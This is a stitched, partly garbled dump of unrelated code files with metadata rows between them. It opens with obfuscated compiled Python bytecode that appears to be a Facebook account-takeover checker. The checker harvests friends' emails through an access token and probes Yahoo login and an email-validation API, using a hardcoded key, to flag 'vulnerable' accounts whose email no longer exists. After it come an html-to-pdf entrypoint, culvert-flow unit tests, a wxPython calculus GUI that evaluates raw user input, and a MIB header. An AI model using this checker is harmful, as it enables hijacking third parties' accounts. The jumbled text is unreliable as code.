\x00\x17GHwR\x00n\x01\x00Xd!\x00|\t\x00k\x06\x00r\xe5\x01d.\x00d\x0c\x00\x17}\n\x00n\n\x00d/\x00d#\x00\x17}\n\x00d\x1e\x00t\x16\x00|\x04\x00d\x16\x00\x19\x83\x01\x00\x18}\x0b\x00|\x0b\x00d\x07\x00\x14}\x0c\x00d\x1f\x00t\x16\x00|\n\x00\x83\x01\x00\x18}\r\x00|\r\x00d\x07\x00\x14}\x0e\x00d\x05\x00|\x01\x00\x17|\x04\x00d\x16\x00\x19\x17|\x0c\x00\x17d\x05\x00\x17|\x02\x00\x17|\n\x00\x17|\x0e\x00\x17d \x00\x17GHn\xc4\x00d$\x00|\x06\x00k\x06\x00r\x17\x03d%\x00|\x04\x00d\x16\x00\x19\x17d&\x00\x17}\x0f\x00t\x07\x00j\x08\x00t\x04\x00j\x05\x00|\x0f\x00\x83\x01\x00j\t\x00\x83\x01\x00}\x10\x00|\x10\x00d\'\x00\x19d\x01\x00k\x02\x00r\xa9\x02d0\x00d\x0c\x00\x17}\n\x00n\n\x00d1\x00d\x1d\x00\x17}\n\x00d\x1e\x00t\x16\x00|\x04\x00d\x16\x00\x19\x83\x01\x00\x18}\x0b\x00|\x0b\x00d\x07\x00\x14}\x0c\x00d\x1f\x00t\x16\x00|\n\x00\x83\x01\x00\x18}\r\x00|\r\x00d\x07\x00\x14}\x0e\x00d\x05\x00|\x01\x00\x17|\x04\x00d\x16\x00\x19\x17|\x0c\x00\x17d(\x00\x17|\x02\x00\x17|\n\x00\x17|\x0e\x00\x17d\n\x00\x17GHn\x00\x00WqR\x00\x04t\x17\x00k\n\x00r+\x03\x01\x01\x01qR\x00XqR\x00Wd\x00\x00S(2\x00\x00\x00Ni\x00\x00\x00\x00s\x07\x00\x00\x00\x1b[32;1mi7\x00\x00\x00t\x01\x00\x00\x00-s\t\x00\x00\x00\x1b[34;1m# i\x0b\x00\x00\x00t\x01\x00\x00\x00 s\x12\x00\x00\x00\x1b[32;1mEmail Yahooi\x0e\x00\x00\x00s\x08\x00\x00\x00\x1b[34;1m#i\t\x00\x00\x00s\x18\x00\x00\x00\x1b[32;1mVuln bosq\x1b[32;1m*i\x08\x00\x00\x00t\x04\x00\x00\x00datas\x05\x00\x00\x00\x1b[36ms\x05\x00\x00\x00\x1b[39mi\x01\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/t\x02\x00\x00\x00ids\x0e\x00\x00\x00?access_token=s\x03\x00\x00\x00@.*t\x05\x00\x00\x00emails\t\x00\x00\x00yahoo.coms_\x00\x00\x00https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.comt\x02\x00\x00\x00nrt\x08\x00\x00\x00usernames$\x00\x00\x00"messages.ERROR_INVALID_USERNAME">.*i\x06\x00\x00\x00s\x1a\x00\x00\x00\x1b[31mNot Vuln bosq\x1b[32;1m*i\x1e\x00\x00\x00i\x18\x00\x00\x00s\t\x00\x00\x00 \x1b[34;1m#s"\x00\x00\x00"messages.ERROR_INVALID_USERNAME">i\x05\x00\x00\x00s\x1c\x00\x00\x00\x1b[31;1mNot Vuln bodq\x1b[33;1m*t\x07\x00\x00\x00hotmailsP\x00\x00\x00http://apilayer.net/api/check?access_key=7a58ece2d10e54d09e93b71379677dbb&email=s\x10\x00\x00\x00&smtp=1&format=1t\n\x00\x00\x00smtp_checks\n\x00\x00\x00\x1b[34;1m# s\x0b\x00\x00\x00 s\x0e\x00\x00\x00 s\t\x00\x00\x00 s\x08\x00\x00\x00 s\x06\x00\x00\x00 s\x08\x00\x00\x00 s\x05\x00\x00\x00 s\x08\x00\x00\x00 s\x05\x00\x00\x00 (\x18\x00\x00\x00t\x01\x00\x00\x00oR\x03\x00\x00\x00t\x05\x00\x00\x00hasilt\x06\x00\x00\x00appendt\x08\x00\x00\x00requestst\x03\x00\x00\x00gett\x05\x00\x00\x00tokent\x04\x00\x00\x00jsont\x05\x00\x00\x00loadst\x04\x00\x00\x00textt\x02\x00\x00\x00ret\x07\x00\x00\x00compilet\x06\x00\x00\x00searcht\x05\x00\x00\x00groupt\x02\x00\x00\x00brt\x04\x00\x00\x00opent\x04\x00\x00\x00Truet\x08\x00\x00\x00_factoryt\x07\x00\x00\x00is_htmlt\x0b\x00\x00\x00select_formt\x06\x00\x00\x00submitt\x04\x00\x00\x00readt\x03\x00\x00\x00lent\x08\x00\x00\x00KeyError(\x11\x00\x00\x00R\x0b\x00\x00\x00t\x04\x00\x00\x00wrnat\x04\x00\x00\x00wrneR\t\x00\x00\x00t\x01\x00\x00\x00zt\x05\x00\x00\x00kuncit\x04\x00\x00\x00carit\x01\x00\x00\x00jt\x03\x00\x00\x00Zent\x02\x00\x00\x00cdt\x04\x00\x00\x00vulnt\x04\x00\x00\x00leant\x03\x00\x00\x00emlt\x04\x00\x00\x00lonet\x05\x00\x00\x00namelt\x03\x00\x00\x00urlt\x03\x00\x00\x00cek(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<debby>t\x07\x00\x00\x00defense<\x00\x00\x00sl\x00\x00\x00\x00\x02\x06\x01\x06\x01\r\x01%\x01\t\x01\x11\x01\x06\x01\x06\x01\n\x01\r\x01\x1f\x01\x12\x01\x03\x01\x0f\x01\x19\x01\x0c\x01\r\x01\x0c\x01\x10\x01\x0e\x01\x12\x01\x0f\x01\x03\x01\x19\x01\x03\x01\n\x02\x14\x01\n\x02\x10\x01\n\x01)\x01\x07\x01\x0c\x01\r\x02\n\x02\x14\x01\n\x03\x10\x01\n\x01,\x01\x0c\x01\x12\x01\x1b\x01\x10\x01\r\x03\n\x01\x14\x01\n\x03\x10\x01\n\x01,\x02\x04\x01\r\x01(#\x00\x00\x00R\x1b\x00\x00\x00R\x1e\x00\x00\x00t\x02\x00\x00\x00osR!\x00\x00\x00t\x03\x00\x00\x00syst\t\x00\x00\x00mechanizet\x06\x00\x00\x00urllibt\x06\x00\x00\x00reloadt\x12\x00\x00\x00setdefaultencodingt\x07\x00\x00\x00BrowserR%\x00\x00\x00t\x11\x00\x00\x00set_handle_robotst\x05\x00\x00\x00Falset\x06\x00\x00\x00systemt\x04\x00\x00\x00timet\x06\x00\x00\x00randomt\x05\x00\x00\x00sleept\x08\x00\x00\x00platformR\x0c\x00\x00\x00t\t\x00\x00\x00raw_inputt\x03\x00\x00\x00idtt\x05\x00\x00\x00passwR<\x00\x00\x00t\x07\x00\x00\x00urlopenR\x11\x00\x00\x00t\x04\x00\x00\x00loadt\x02\x00\x00\x00opR\x1d\x00\x00\x00t\x04\x00\x00\x00exitR\x1c\x00\x00\x00t\x0b\x00\x00\x00get_friendsR\x1f\x00\x00\x00R \x00\x00\x00R\x19\x00\x00\x00R>\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<debby>t\x08\x00\x00\x00<module>\x03\x00\x00\x00s@\x00\x00\x00T\x01\n\x01\r\x01\x0c\x01\r\x01\r\x01\x0c\x01\x0c\x01\x0c\x01\t\x01\x18\x01\t\x08\x03\x11\x07\x01\n\x01\n\x01\n\x01\x0c\x01\x0c\x01\x16\x01\x0f\x01\x0f\x01\x0c\x01\n\x01\x08\x02\x05\x01\n\x01\x13\x01\x12\x01\x05\x01\x05\x03\tC'))
| 2,136
| 10,585
| 0.734457
| 2,269
| 10,680
| 3.436756
| 0.150286
| 0.226212
| 0.103873
| 0.046166
| 0.348807
| 0.287125
| 0.224801
| 0.209156
| 0.17107
| 0.153629
| 0
| 0.364675
| 0.025094
| 10,680
| 4
| 10,586
| 2,670
| 0.384268
| 0.007022
| 0
| 0
| 0
| 1
| 0.585117
| 0.488069
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 11
|
d7d7b6e258260e266ee2d071678fa540ecc01f1f
| 144
|
py
|
Python
|
main.py
|
prismaticd/html-to-pdf
|
0f18a4563f4831fe66d71d47757c9152648f7dc8
|
[
"MIT"
] | null | null | null |
main.py
|
prismaticd/html-to-pdf
|
0f18a4563f4831fe66d71d47757c9152648f7dc8
|
[
"MIT"
] | 1
|
2018-12-12T21:59:42.000Z
|
2018-12-12T21:59:42.000Z
|
main.py
|
prismaticd/html-to-pdf
|
0f18a4563f4831fe66d71d47757c9152648f7dc8
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# Google cloud function entrypoint
import html_to_pdf.app
def main(request):
return html_to_pdf.app.main(request)
| 14.4
| 40
| 0.756944
| 23
| 144
| 4.565217
| 0.73913
| 0.114286
| 0.171429
| 0.228571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145833
| 144
| 9
| 41
| 16
| 0.853659
| 0.368056
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
d7e32523bc14e9d6fd4603dca78742f00d710693
| 14,098
|
py
|
Python
|
anuga/culvert_flows/tests/test_culvert_routines_box_10pct.py
|
samcom12/anuga_core
|
f4378114dbf02d666fe6423de45798add5c42806
|
[
"Python-2.0",
"OLDAP-2.7"
] | 136
|
2015-05-07T05:47:43.000Z
|
2022-02-16T03:07:40.000Z
|
anuga/culvert_flows/tests/test_culvert_routines_box_10pct.py
|
samcom12/anuga_core
|
f4378114dbf02d666fe6423de45798add5c42806
|
[
"Python-2.0",
"OLDAP-2.7"
] | 184
|
2015-05-03T09:27:54.000Z
|
2021-12-20T04:22:48.000Z
|
anuga/culvert_flows/tests/test_culvert_routines_box_10pct.py
|
samcom12/anuga_core
|
f4378114dbf02d666fe6423de45798add5c42806
|
[
"Python-2.0",
"OLDAP-2.7"
] | 70
|
2015-03-18T07:35:22.000Z
|
2021-11-01T07:07:29.000Z
|
#!/usr/bin/env python
from __future__ import division
from past.utils import old_div
import unittest
import os.path
import sys
from anuga.utilities.system_tools import get_pathname_from_package
from anuga.culvert_flows.culvert_routines import boyd_generalised_culvert_model
import numpy as num
class Test_culvert_routines_box_10pct(unittest.TestCase):
"""
This unit test sets up 6 tests for various culvert conditions for a Box Culvert on a 10% Slope
"""
def setUp(self):
pass
def tearDown(self):
pass
def test_boyd_1(self):
"""test_boyd_1
This tests the Boyd routine with data obtained from ??? by Petar Milevski
"""
# FIXME(Ole): This test fails (20 Feb 2009)
g=9.81
inlet_depth=0.150
outlet_depth=0.15
inlet_velocity=1.00
outlet_velocity=0.5
culvert_length=10.0
culvert_width=3.6
culvert_height=1.20
culvert_type='box'
manning=0.013
sum_loss=1.5
inlet_specific_energy=inlet_depth + old_div(0.5*inlet_velocity**2,g)
culvert_slope=10.0 # % Downward
z_in = 10.0
z_out = old_div(-culvert_length*culvert_slope,100)
E_in = z_in+inlet_depth + old_div(0.5*inlet_velocity**2,g)
E_out = z_out+outlet_depth + old_div(0.5*outlet_velocity**2,g)
delta_total_energy = E_in-E_out
inlet_specific_energy=inlet_depth + old_div(0.5*inlet_velocity**2,g)
Q, v, d = boyd_generalised_culvert_model(inlet_depth,
outlet_depth,
inlet_velocity,
outlet_velocity,
inlet_specific_energy,
delta_total_energy,
g,
culvert_length,
culvert_width,
culvert_height,
culvert_type,
manning,
sum_loss)
#print ('%s,%.2f,%.2f,%.2f' %('ANUGAcalcsTEST01 Q-v-d',Q,v,d))
#print('%s,%.2f,%.2f,%.2f' %('Spreadsheet_Boydcalcs', 0.5526, 1.146, 0.1339))
assert num.allclose(Q, 0.5526, rtol=1.0e-1) #inflow
assert num.allclose(v, 1.146, rtol=1.0e-1) #outflow velocity
assert num.allclose(d, 0.1339, rtol=1.0e-1) #depth at outlet used to calc v
def test_boyd_2(self):
"""test_boyd_2
This tests the Boyd routine with data obtained from ??? by Petar Milevski
"""
# FIXME(Ole): This test fails (20 Feb 2009)
g=9.81
culvert_slope=10 # Downward
inlet_depth=0.500
outlet_depth=0.700
inlet_velocity=1.0
outlet_velocity=0.50
culvert_length=10.0
culvert_width=3.60
culvert_height=1.20
culvert_type='box'
manning=0.013
sum_loss=1.5
inlet_specific_energy=inlet_depth + old_div(0.5*inlet_velocity**2,g)
z_in = 0.0
z_out = old_div(-culvert_length*culvert_slope,100)
E_in = z_in+inlet_depth + old_div(0.5*inlet_velocity**2,g)
E_out = z_out+outlet_depth + old_div(0.5*outlet_velocity**2,g)
delta_total_energy = E_in-E_out
Q, v, d = boyd_generalised_culvert_model(inlet_depth,
outlet_depth,
inlet_velocity,
outlet_velocity,
inlet_specific_energy,
delta_total_energy,
g,
culvert_length,
culvert_width,
culvert_height,
culvert_type,
manning,
sum_loss)
#print ('%s,%.2f,%.2f,%.2f' %('ANUGAcalcsTEST02 Q-v-d',Q,v,d))
#print ('%s,%.2f,%.2f,%.2f' %('Spreadsheet_Boydcalcs', 2.508, 1.897, 0.367))
assert num.allclose(Q, 2.508, rtol=1.0e-1) #inflow
assert num.allclose(v, 1.897, rtol=1.0e-1) #outflow velocity
assert num.allclose(d, 0.367, rtol=1.0e-1) #depth at outlet used to calc v
def test_boyd_3(self):
"""test_boyd_3
This tests the Boyd routine with data obtained from ??? by Petar Milevski
"""
# FIXME(Ole): This test fails (20 Feb 2009)
g=9.81
culvert_slope=10 # Downward
inlet_depth=1.800
outlet_depth=0.80
inlet_velocity=1.0
outlet_velocity=0.5
culvert_length=10.0
culvert_width=3.60
culvert_height=1.20
culvert_type='box'
manning=0.013
sum_loss=1.5
inlet_specific_energy=inlet_depth + old_div(0.5*inlet_velocity**2,g)
z_in = 0.0
z_out = old_div(-culvert_length*culvert_slope,100)
E_in = z_in+inlet_depth + old_div(0.5*inlet_velocity**2,g)
E_out = z_out+outlet_depth + old_div(0.5*outlet_velocity**2,g)
delta_total_energy = E_in-E_out
Q, v, d = boyd_generalised_culvert_model(inlet_depth,
outlet_depth,
inlet_velocity,
outlet_velocity,
inlet_specific_energy,
delta_total_energy,
g,
culvert_length,
culvert_width,
culvert_height,
culvert_type,
manning,
sum_loss)
#print ('%s,%.2f'%('SPEC_E = ',inlet_specific_energy))
#print ('%s,%.2f'%('Delta E = ',delta_total_energy))
#print ('%s,%.2f,%.2f,%.2f' %('ANUGAcalcsTEST03 Q-v-d',Q,v,d))
#print ('%s,%.2f,%.2f,%.2f' %('Spreadsheet_Boydcalcs', 13.554, 3.329, 1.131))
assert num.allclose(Q, 13.554, rtol=1.0e-2) #inflow
assert num.allclose(v, 3.329, rtol=1.0e-2) #outflow velocity
assert num.allclose(d, 1.131, rtol=1.0e-2) #depth at outlet used to calc v
#NOTE FROM HERE DOWN THE UNITS TEST HAVE NOT BEEN AMENDED TO ALLOW VELOCITY COMPONENT TO BE USED. ONLY ABOVE 3 TESTS WORK. PM WILL FIX THE ONES BELOW WHEN THE ABOVE 3 ARE WORKING
def test_boyd_4(self):
"""test_boyd_4
This tests the Boyd routine with data obtained from ??? by Petar Milevski
"""
# FIXME(Ole): This test fails (20 Feb 2009)
g=9.81
culvert_slope=10 # Downward
inlet_depth=1.00
outlet_depth=0.8
inlet_velocity=1.0
outlet_velocity=0.5
culvert_length=10.0
culvert_width=3.60
culvert_height=1.20
culvert_type='box'
manning=0.013
sum_loss=1.5
inlet_specific_energy=inlet_depth + old_div(0.5*inlet_velocity**2,g)
z_in = 10.0
z_out = 10.0-old_div(culvert_length*culvert_slope,100)
E_in = z_in+inlet_depth + old_div(0.5*inlet_velocity**2,g)
E_out = z_out+outlet_depth + old_div(0.5*outlet_velocity**2,g)
delta_total_energy = E_in-E_out
Q, v, d = boyd_generalised_culvert_model(inlet_depth,
outlet_depth,
inlet_velocity,
outlet_velocity,
inlet_specific_energy,
delta_total_energy,
g,
culvert_length,
culvert_width,
culvert_height,
culvert_type,
manning,
sum_loss)
#print ('%s,%.2f'%('SPEC_E = ',inlet_specific_energy))
#print ('%s,%.2f'%('Delta E = ',delta_total_energy))
#print ('%s,%.2f,%.2f,%.2f' %('ANUGAcalcsTEST04 Q-v-d',Q,v,d))
#print ('%s,%.2f,%.2f,%.2f' %('Spreadsheet_Boydcalcs', 6.609, 2.621, 0.70))
assert num.allclose(Q, 6.609, rtol=1.0e-2) #inflow
assert num.allclose(v, 2.621, rtol=1.0e-2) #outflow velocity
assert num.allclose(d, 0.70, rtol=1.0e-2) #depth at outlet used to calc v
def test_boyd_5(self):
"""test_boyd_5
This tests the Boyd routine with data obtained from ??? by Petar Milevski
"""
# FIXME(Ole): This test fails (20 Feb 2009)
g=9.81
culvert_slope=10 # Downward
inlet_depth=1.50
inlet_velocity= 1.0
outlet_depth=2.5
outlet_velocity=0.5
culvert_length=10.0
culvert_width=3.60
culvert_height=1.20
culvert_type='box'
manning=0.013
sum_loss=1.5
inlet_specific_energy=inlet_depth + old_div(0.5*inlet_velocity**2,g)
z_in = 10.0
z_out = 10.0-old_div(culvert_length*culvert_slope,100)
E_in = z_in+inlet_depth + old_div(0.5*inlet_velocity**2,g)
E_out = z_out+outlet_depth + old_div(0.5*outlet_velocity**2,g)
delta_total_energy = E_in-E_out
Q, v, d = boyd_generalised_culvert_model(inlet_depth,
outlet_depth,
inlet_velocity,
outlet_velocity,
inlet_specific_energy,
delta_total_energy,
g,
culvert_length,
culvert_width,
culvert_height,
culvert_type,
manning,
sum_loss)
#print ('%s,%.3f'%('SPEC_E = ',inlet_specific_energy))
#print ('%s,%.3f'%('Delta E = ',delta_total_energy))
#print ('%s,%.3f,%.3f,%.3f' %('ANUGAcalcsTEST05 Q-v-d',Q,v,d))
#print ('%s,%.3f,%.3f,%.3f' %('Spreadsheet_Boydcalcs',2.961, 0.685, 1.20))
assert num.allclose(Q, 2.961, rtol=1.0e-2) #inflow
assert num.allclose(v, 0.685, rtol=1.0e-2) #outflow velocity
assert num.allclose(d, 1.20, rtol=1.0e-2) #depth at outlet used to calc v
def test_boyd_6(self):
"""test_boyd_6
This tests the Boyd routine with data obtained from ??? by Petar Milevski
"""
# FIXME(Ole): This test fails (20 Feb 2009)
g=9.81
culvert_slope=10 # Downward
inlet_depth=1.50
inlet_velocity= 4.0
outlet_depth=0.80
outlet_velocity=4.0
culvert_length=10.0
culvert_width=3.60
culvert_height=1.20
culvert_type='box'
manning=0.013
sum_loss=1.5
inlet_specific_energy=inlet_depth + old_div(0.5*inlet_velocity**2,g)
z_in = 10.0
z_out = 10.0-old_div(culvert_length*culvert_slope,100)
E_in = z_in+inlet_depth + old_div(0.5*inlet_velocity**2,g)
E_out = z_out+outlet_depth + old_div(0.5*outlet_velocity**2,g)
delta_total_energy = E_in-E_out
Q, v, d = boyd_generalised_culvert_model(inlet_depth,
outlet_depth,
inlet_velocity,
outlet_velocity,
inlet_specific_energy,
delta_total_energy,
g,
culvert_length,
culvert_width,
culvert_height,
culvert_type,
manning,
sum_loss)
#print ('%s,%.3f'%('SPEC_E = ',inlet_specific_energy))
#print ('%s,%.3f'%('Delta E = ',delta_total_energy))
#print ('%s,%.3f,%.3f,%.3f' %('ANUGAcalcsTEST06 Q-v-d',Q,v,d))
#print ('%s,%.3f,%.3f,%.3f' %('Spreadsheet_Boydcalcs',15.537, 3.597, 1.20))
assert num.allclose(Q, 15.537, rtol=1.0e-2) #inflow
assert num.allclose(v, 3.597, rtol=1.0e-2) #outflow velocity
assert num.allclose(d, 1.20, rtol=1.0e-2) #depth at outlet used to calc v
# =========================================================================
# =========================================================================
if __name__ == "__main__":
suite = unittest.makeSuite(Test_culvert_routines_box_10pct, 'test')
runner = unittest.TextTestRunner()
runner.run(suite)
| 40.863768
| 178
| 0.465101
| 1,610
| 14,098
| 3.83354
| 0.113665
| 0.025275
| 0.033863
| 0.036941
| 0.816753
| 0.803467
| 0.795852
| 0.79083
| 0.79083
| 0.78046
| 0
| 0.07484
| 0.434175
| 14,098
| 344
| 179
| 40.982558
| 0.698884
| 0.201376
| 0
| 0.776316
| 0
| 0
| 0.002724
| 0
| 0
| 0
| 0
| 0.017442
| 0.078947
| 1
| 0.035088
| false
| 0.008772
| 0.035088
| 0
| 0.074561
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0be3407b5dd840d3a751130ad7b18ea48e3f083c
| 5,993
|
py
|
Python
|
core/uicalc.py
|
JorgeDeLosSantos/PiChi
|
93ace14fa3e206ad7d52c3c614bbb49d3c72aaa9
|
[
"MIT"
] | null | null | null |
core/uicalc.py
|
JorgeDeLosSantos/PiChi
|
93ace14fa3e206ad7d52c3c614bbb49d3c72aaa9
|
[
"MIT"
] | null | null | null |
core/uicalc.py
|
JorgeDeLosSantos/PiChi
|
93ace14fa3e206ad7d52c3c614bbb49d3c72aaa9
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# ***********************************
# PiChi 0.0.1
# Author: Pedro Jorge De Los Santos
# E-mail: delossantosmfq@gmail.com
# Web: labdls.blogspot.mx
# License: MIT License
# ***********************************
import wx
import sympy
import matplotlib
matplotlib.use('WXAgg')
from matplotlib.backends.backend_wxagg import FigureCanvasWxAgg as FigureCanvas
from matplotlib.figure import Figure
from sympy import (sin,cos,tan,sec,csc,cot,ln,log,exp,asin,acos,atan,sqrt) # Algunas funciones
from cfg import *
def preproc(cad):
"""
Replace this function for other in "util" module
"""
return cad.replace("^","**")
class UIDer(wx.Frame):
def __init__(self,parent):
wx.Frame.__init__(self,parent,title=PICHI_STR,size=(400,300))
self.funpanel = wx.Panel(self,-1)
self.initSizers()
self.initCanvas()
self.initCtrls()
self.Centre(1)
self.Show()
def initSizers(self):
self.mainsz = wx.BoxSizer(wx.VERTICAL)
self.funsz = wx.BoxSizer(wx.HORIZONTAL)
self.funpanel.SetSizer(self.funsz)
self.SetSizer(self.mainsz)
def initCtrls(self):
self.funlabel = wx.StaticText(self.funpanel, -1, " f(x) ")
self.fun = wx.TextCtrl(self.funpanel, -1, "")
self.boton = wx.Button(self, -1, "Derivar")
# Fonts
font1 = self.funlabel.GetFont()
font1.SetPointSize(12)
self.funlabel.SetFont(font1)
self.fun.SetFont(font1)
self.fun.SetForegroundColour((0,0,255))
self.funsz.Add(self.funlabel, 1, wx.EXPAND|wx.ALL, 5)
self.funsz.Add(self.fun, 7, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.funpanel, 1, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.boton, 1, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.canvas, 6, wx.EXPAND|wx.ALL, 5)
self.Bind(wx.EVT_BUTTON, self.derivar, self.boton)
def initCanvas(self):
self.figure = Figure()
# FigureCanvas
self.canvas = FigureCanvas(self, -1, self.figure)
self.figure.set_facecolor((1,1,1)) # ...
self.string = self.figure.text(0.05, 0.5, "")
self.string.set_fontsize(18)
def derivar(self,event):
x = sympy.Symbol("x")
fx = self.fun.GetValue() # Función original
fx = preproc(fx)
Fx = sympy.diff(eval(fx)) # Función derivada
str_Fx = "$\\frac{d}{dx}(%s)\, = \,%s$"%(sympy.latex(eval(fx)), sympy.latex(Fx))
self.string.set_text(str_Fx)
self.canvas.draw() # "Redibujar"
class UIInt(wx.Frame):
def __init__(self,parent):
wx.Frame.__init__(self,parent,title=PICHI_STR,size=(400,300))
self.funpanel = wx.Panel(self, -1)
self.initSizers()
self.initCanvas()
self.initCtrls()
self.SetBackgroundColour("#FFFFFF")
self.Centre(1)
self.Show()
def initSizers(self):
self.mainsz = wx.BoxSizer(wx.VERTICAL)
self.funsz = wx.BoxSizer(wx.HORIZONTAL)
self.funpanel.SetSizer(self.funsz)
self.SetSizer(self.mainsz)
def initCtrls(self):
self.funlabel = wx.StaticText(self.funpanel, -1, " f(x) ")
self.fun = wx.TextCtrl(self.funpanel, -1, "")
self.boton = wx.Button(self, -1, "Integrar", size=(100,25))
# Fonts
font1 = self.funlabel.GetFont()
font1.SetPointSize(12)
self.funlabel.SetFont(font1)
self.fun.SetFont(font1)
self.fun.SetForegroundColour((0,0,255))
self.funsz.Add(self.funlabel, 1, wx.EXPAND|wx.ALL, 5)
self.funsz.Add(self.fun, 7, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.funpanel, 1, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.canvas, 6, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.boton, 0, wx.ALIGN_CENTRE|wx.ALL, 5)
self.Bind(wx.EVT_BUTTON, self.integrar, self.boton)
def initCanvas(self):
self.figure = Figure()
# FigureCanvas
self.canvas = FigureCanvas(self, -1, self.figure)
self.figure.set_facecolor((1,1,1))
self.string = self.figure.text(0.05, 0.5, "")
self.string.set_fontsize(18)
def integrar(self,event):
x = sympy.Symbol("x")
fx = self.fun.GetValue() # Función original
fx = preproc(fx)
Fx = sympy.integrate(eval(fx)) # Función integrada
str_Fx = "$\int \, (%s) \,dx \,= \,%s + C$"%(sympy.latex(eval(fx)), sympy.latex(Fx))
self.string.set_text(str_Fx)
self.canvas.draw()
class UILimit(wx.Frame):
def __init__(self,parent):
wx.Frame.__init__(self,parent,title=PICHI_STR,size=(400,300))
self.funpanel = wx.Panel(self, -1)
self.initSizers()
self.initCanvas()
self.initCtrls()
self.Centre(1)
self.Show()
def initSizers(self):
self.mainsz = wx.BoxSizer(wx.VERTICAL)
self.funsz = wx.BoxSizer(wx.HORIZONTAL)
self.funpanel.SetSizer(self.funsz)
self.SetSizer(self.mainsz)
def initCtrls(self):
self.funlabel = wx.StaticText(self.funpanel, -1, " f(x) ")
self.fun = wx.TextCtrl(self.funpanel, -1, "", style= wx.TE_PROCESS_ENTER)
self.boton = wx.Button(self, -1, "Calcular limite")
# Fonts
font1 = self.funlabel.GetFont()
font1.SetPointSize(12)
self.funlabel.SetFont(font1)
self.fun.SetFont(font1)
self.fun.SetForegroundColour((0,0,255))
self.funsz.Add(self.funlabel, 1, wx.EXPAND|wx.ALL, 5)
self.funsz.Add(self.fun, 7, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.funpanel, 1, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.boton, 1, wx.EXPAND|wx.ALL, 5)
self.mainsz.Add(self.canvas, 6, wx.EXPAND|wx.ALL, 5)
self.Bind(wx.EVT_BUTTON, self.limite, self.boton)
self.Bind(wx.EVT_TEXT_ENTER, self.limite)
def initCanvas(self):
self.figure = Figure()
# FigureCanvas
self.canvas = FigureCanvas(self, -1, self.figure)
self.figure.set_facecolor((1,1,1))
self.string = self.figure.text(0.05, 0.5, "")
self.string.set_fontsize(18)
def limite(self,event):
x = sympy.Symbol("x")
so = self.fun.GetValue() # Función original
if not(so):
print "Función no definida"
return False
so = preproc(so)
so = so.split(",")
fx = so[0]
val = float(so[1])
Fx = sympy.limit(eval(fx),x,val) # Función integrada
str_Fx = r"$ \lim_{x \to %s} \, (%s) \,dx \,= \,%s$"%(val, sympy.latex(eval(fx)), sympy.latex(Fx))
self.string.set_text(str_Fx)
self.canvas.draw()
if __name__=='__main__':
app = wx.App()
fr = UILimit(None)
app.MainLoop()
| 28.004673
| 100
| 0.669281
| 903
| 5,993
| 4.375415
| 0.193798
| 0.022779
| 0.022779
| 0.037965
| 0.771956
| 0.764363
| 0.753227
| 0.753227
| 0.753227
| 0.745887
| 0
| 0.027381
| 0.146838
| 5,993
| 213
| 101
| 28.13615
| 0.745355
| 0.070582
| 0
| 0.708609
| 0
| 0
| 0.03535
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.046358
| null | null | 0.006623
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
041c5530685602644a5259a349d2ae606fb12ec3
| 71,072
|
py
|
Python
|
pysnmp_mibs/DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB.py
|
jackjack821/pysnmp-mibs
|
9835ea0bb2420715caf4ee9aaa07d59bb263acd6
|
[
"BSD-2-Clause"
] | 6
|
2017-04-21T13:48:08.000Z
|
2022-01-06T19:42:52.000Z
|
pysnmp_mibs/DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB.py
|
jackjack821/pysnmp-mibs
|
9835ea0bb2420715caf4ee9aaa07d59bb263acd6
|
[
"BSD-2-Clause"
] | 1
|
2020-05-05T16:42:25.000Z
|
2020-05-05T16:42:25.000Z
|
pysnmp_mibs/DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB.py
|
jackjack821/pysnmp-mibs
|
9835ea0bb2420715caf4ee9aaa07d59bb263acd6
|
[
"BSD-2-Clause"
] | 6
|
2020-02-08T20:28:49.000Z
|
2021-09-14T13:36:46.000Z
|
#
